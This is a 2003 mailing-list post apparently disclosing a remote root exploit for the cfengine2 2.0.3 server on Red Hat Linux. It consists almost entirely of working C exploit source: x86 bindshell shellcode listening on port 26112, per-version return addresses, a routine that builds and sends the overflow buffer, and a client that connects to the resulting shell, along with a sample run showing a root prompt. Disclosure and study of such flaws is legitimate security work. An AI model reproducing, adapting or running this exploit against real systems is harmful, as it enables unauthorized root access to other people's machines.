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cfengine2-2.0.3 remote exploit for redhat
From: yan feng <jsk () ph4nt0m net>
Date: 28 Sep 2003 04:35:03 -0000



/*********************************************************************************\

* jsk / cfengine2-2.0.3 from redhat 

* advisory: http://packetstormsecurity.nl/0309-advisories/cfengine.txt

* forking portbind shellcode 0port=26112)  by netric

* bug discovered by nick cleaton, tested on redhat

* DSR-cfengine.pl :)  i think it has some bugs.maybe it is only public
* version...... possbile another reasns.....
* the begin buf of exploit could be like "111111". so....DSR...
* by jsk from Ph4nt0m Security Team

* jsk () ph4nt0m net  chat with us ( irc.0x557.org  #ph4nt0m)

* Greets bR-00t. eSdee.B??.lnewy.#cheese and all #ph4nt0m 

* [root () localhost tmp]# ./cnex -h 127.0.0.1 -p 5803 -t 0

*

* cfengine2-2.0.3:server remote buffer overflow exploit

* by jsk.

* Greets bR-00t and all #ph4nt0m .

*[+] Hostname: 127.0.0.1
*[+] Port num: 5308
*[+] Retaddr address: 0x4029cc2c
*[1] #1 Set  codes.
*[1] #1 Set socket.
*[*] attempting to connect: 127.0.0.1:5308.
*[*] successfully connected: 127.0.0.1:5308.
*[1] #1 Send codes.
*[1] #3 Get shell.
*[*] checking to see if the exploit was successful.
*[*] attempting to connect: 127.0.0.1:26112.
*[*] successfully connected: 127.0.0.1:26112.
* id
 *uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6  ** (disk),10(wheel)
 


\*********************************************************************************/





#include <stdio.h>

#include <signal.h>

#include <unistd.h>

#include <sys/socket.h>

#include <netdb.h>

#include <netinet/in.h>

#define BUFSIZE 4136

#define D_PORT 5803

#define D_HOST "www.ph4nt0m.net"

#define TIMEOUT 10



char shell[]=  /* bindshell(26112)&, netric. */

        "\x90\x90\x90\x31\xdb\xf7\xe3\x53\x43\x53"
        "\x6a\x02\x89\xe1\xb0\x66\x52"
        "\x50\xcd\x80\x43\x66\x53\x89"
        "\xe1\x6a\x10\x51\x50\x89\xe1"
        "\x52\x50\xb0\x66\xcd\x80\x89"
        "\xe1\xb3\x04\xb0\x66\xcd\x80"
        "\x43\xb0\x66\xcd\x80\x89\xd9"
        "\x93\xb0\x3f\xcd\x80\x49\x79"
        "\xf9\x52\x68\x6e\x2f\x73\x68"
        "\x68\x2f\x2f\x62\x69\x89\xe3"
        "\x52\x53\x89\xe1\xb0\x0b\xcd"
        "\x80";
struct op_plat_st

{

int op_plat_num;

char *op_plat_sys;

u_long retaddr;

int off_st;

};

struct op_plat_st __pl_form[]=

{



{0,"red 8.0",0x4029cc2c,0},

{1,"red 9.0(cmp)",0x4029cda0,0},



{2,"red 7.2 (Compile)",0x44444444,0},

{3,"red 7.3 (Compile)",0x44444444,0},

NULL

};

void banrl();

void x_fp_rm_usage(char *x_fp_rm);

unsigned short sock_connect(char *,unsigned short);

void getshell(char *,unsigned short);

void printe(char *,short);

void sig_alarm(){printe("alarm/timeout hit.",1);}

void banrl()

{

fprintf(stdout,"\n cfengine2-2.0.3:server remote buffer overflow exploit)\n");

fprintf(stdout," by jsk.\n");

fprintf(stdout," Greets Br-00t and all #ph4nt0m .\n");

}



void x_fp_rm_usage(char *x_fp_rm)

{

int __t_xmp=0;

fprintf(stdout,"\n Usage: %s -[option] [arguments]\n\n",x_fp_rm);

fprintf(stdout,"\t -h [hostname] - target host.\n");

fprintf(stdout,"\t -p [port] - port number.\n");

fprintf(stdout,"\t -s [addr] - &shellcode address.\n\n");

fprintf(stdout," Example> %s -h target_hostname -p 8000 -t num\n",x_fp_rm);

fprintf(stdout," Select target number>\n\n");

for(;;)

{

if(__pl_form[__t_xmp].op_plat_num==(0x82))

break;

else

{

fprintf(stdout,"\t {%d} %s\n",__pl_form[__t_xmp].op_plat_num,__pl_form[__t_xmp].op_plat_sys);

}

__t_xmp++;

}

fprintf(stdout,"\n");
exit(0);
}



int main(int argc,char *argv[])

{

int port=D_PORT;

char hostname[0x333]=D_HOST;

int whlp,type=0;

unsigned int i=0;

char *buf;

int sd;

u_long retaddr=__pl_form[type].retaddr;



(void)banrl();

while((whlp=getopt(argc,argv,"T:t:H:h:P:p:IiXx"))!=EOF)

{

extern char *optarg;

switch(whlp)

{

case 'T':

case 't':

if((type=atoi(optarg))<6)

{

retaddr=__pl_form[type].retaddr;

}

else (void)x_fp_rm_usage(argv[0]);

break;





case 'H':

case 'h':

memset((char *)hostname,0,sizeof(hostname));

strncpy(hostname,optarg,sizeof(hostname)-1);

break;



case 'P':

case 'p':

port=atoi(optarg);

break;



case 'I':

case 'i':

fprintf(stderr," Try `%s -?' for more information.\n\n",argv[0]);

exit(-1);



case '?':

(void)x_fp_rm_usage(argv[0]);

break;

}

}



if(!strcmp(hostname,D_HOST))

{

(void)x_fp_rm_usage(argv[0]);

}

{

fprintf(stdout," [+] Hostname: %s\n",hostname);

fprintf(stdout," [+] Port num: %d\n",port);

fprintf(stdout," [+] Retaddr address: %p\n",retaddr);

}



fprintf(stdout," [1] #1 Set  codes.\n");



 if(!(buf=(char *)malloc(BUFSIZE+1)))

  printe("getcode(): allocating memory failed.",1);



  memset(buf, 0x90, BUFSIZE);

  buf[0] = '1';
  buf[1] = '1';
  buf[2] = '1';
  buf[3] = '1';
  buf[4] = '1';
  buf[5] = '1';
  buf[6] = '1';

  memset(buf+7,0x90,636); 

  memcpy(buf+7+636,shell, sizeof(shell));

  memset(buf+7+636+strlen(shell),0x90,3500); 

  memcpy(&buf[BUFSIZE-(sizeof(retaddr))], &retaddr, sizeof(retaddr));

  memcpy(&buf[BUFSIZE-(2*sizeof(retaddr))], &retaddr, sizeof(retaddr));

  memcpy(&buf[BUFSIZE-(3*sizeof(retaddr))], &retaddr, sizeof(retaddr));
  memcpy(&buf[BUFSIZE-(4*sizeof(retaddr))], &retaddr, sizeof(retaddr));

  memcpy(&buf[BUFSIZE-(5*sizeof(retaddr))], &retaddr, sizeof(retaddr));

  memcpy(&buf[BUFSIZE-(6*sizeof(retaddr))], &retaddr, sizeof(retaddr));
  memcpy(&buf[BUFSIZE-(7*sizeof(retaddr))], &retaddr, sizeof(retaddr));

  memcpy(&buf[BUFSIZE-(8*sizeof(retaddr))], &retaddr, sizeof(retaddr));

  memcpy(&buf[BUFSIZE-(9*sizeof(retaddr))], &retaddr, sizeof(retaddr));

 fprintf(stdout," [1] #1 Set socket.\n");

 sd=sock_connect(hostname,port);

fprintf(stdout," [1] #1 Send codes.\n");

 write(sd,buf,BUFSIZE);

 close(sd);
 sleep(1);
fprintf(stdout," [1] #3 Get shell.\n");
 getshell(hostname,26112);
 exit(0);

}

unsigned short sock_connect(char *hostname,

unsigned short port){

 int sock;

 struct hostent *t;

 struct sockaddr_in s;

 sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

 s.sin_family=AF_INET;

 s.sin_port=htons(port);

 printf("[*] attempting to connect: %s:%d.\n",hostname,port);

 if((s.sin_addr.s_addr=inet_addr(hostname))){

  if(!(t=gethostbyname(hostname)))

   printe("couldn't resolve hostname.",1);

  memcpy((char*)&s.sin_addr,(char*)t->h_addr,

  sizeof(s.sin_addr));

 }

 signal(SIGALRM,sig_alarm);

 alarm(TIMEOUT);

 if(connect(sock,(struct sockaddr *)&s,sizeof(s)))

  printe("netris connection failed.",1);

 alarm(0);

 printf("[*] successfully connected: %s:%d.\n",hostname,port);

 return(sock);

 }

void getshell(char *hostname,unsigned short port){

 int sock,r;

 fd_set fds;

 char buf[4096+1];

 struct hostent *he;

 struct sockaddr_in sa;

 printf("[*] checking to see if the exploit was successful.\n");

 if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)

  printe("getshell(): socket() failed.",1);

 sa.sin_family=AF_INET;

 if((sa.sin_addr.s_addr=inet_addr(hostname))){

  if(!(he=gethostbyname(hostname)))

   printe("getshell(): couldn't resolve.",1);

  memcpy((char *)&sa.sin_addr,(char *)he->h_addr,

  sizeof(sa.sin_addr));

 }

 sa.sin_port=htons(port);

 signal(SIGALRM,sig_alarm);

 alarm(TIMEOUT);

 printf("[*] attempting to connect: %s:%d.\n",hostname,port);

 if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){

  printf("[!] connection failed: %s:%d.\n",hostname,port);

  return;

 }

 alarm(0);

 printf("[*] successfully connected: %s:%d.\n\n",hostname,port);

 signal(SIGINT,SIG_IGN);

 write(sock,"uname -a;id\n",13);

 while(1){

  FD_ZERO(&fds);

  FD_SET(0,&fds);

  FD_SET(sock,&fds);

  if(select(sock+1,&fds,0,0,0)<1)

   printe("getshell(): select() failed.",1);

  if(FD_ISSET(0,&fds)){

   if((r=read(0,buf,4096))<1)

    printe("getshell(): read() failed.",1);

   if(write(sock,buf,r)!=r)

    printe("getshell(): write() failed.",1);

  }

  if(FD_ISSET(sock,&fds)){

   if((r=read(sock,buf,4096))<1)

    exit(0);

   write(1,buf,r);

  }

 }

 close(sock);

 return;

}

void printe(char *err,short e){

 fprintf(stdout," [-] Failed.\n\n");

 fprintf(stdout," Happy Exploit ! :-)\n\n");



 if(e)

  exit(1);

 return;

}









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